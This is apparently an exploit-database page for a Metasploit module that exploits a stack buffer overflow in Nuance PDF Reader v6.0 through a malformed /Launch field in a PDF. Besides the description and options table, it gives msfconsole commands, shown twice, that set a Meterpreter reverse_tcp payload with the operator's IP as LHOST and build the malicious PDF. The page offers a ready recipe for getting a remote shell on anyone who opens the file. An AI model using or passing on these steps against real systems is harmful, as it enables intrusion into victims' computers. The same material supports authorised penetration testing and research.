Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
This module exploits a stack buffer overflow in Nuance PDF Reader v6.0. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in a /Launch field. This results in overwriting a structured exception handler record. This exploit does not use javascript.
Exploit Rank
- Great
Exploit Authors
- corelanc0d3r < peter.ve [at] corelan.be >
- rick2600 < >
Vulnerability References
Exploit Targets
- 0 - Nuance PDF Reader v6.x (XP SP3) (default)
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/fileformat/nuance_pdf_launch_overflow
msf exploit(nuance_pdf_launch_overflow) > show payloads
msf exploit(nuance_pdf_launch_overflow) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(nuance_pdf_launch_overflow) > set LHOST [MY IP ADDRESS]
msf exploit(nuance_pdf_launch_overflow) > exploit
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msf > use exploit/windows/fileformat/nuance_pdf_launch_overflow
msf exploit(nuance_pdf_launch_overflow) > show payloads
msf exploit(nuance_pdf_launch_overflow) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(nuance_pdf_launch_overflow) > set LHOST [MY IP ADDRESS]
msf exploit(nuance_pdf_launch_overflow) > exploit
Exploit Module Options
| FILENAME | The output filename. (default: corelannuance.pdf) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |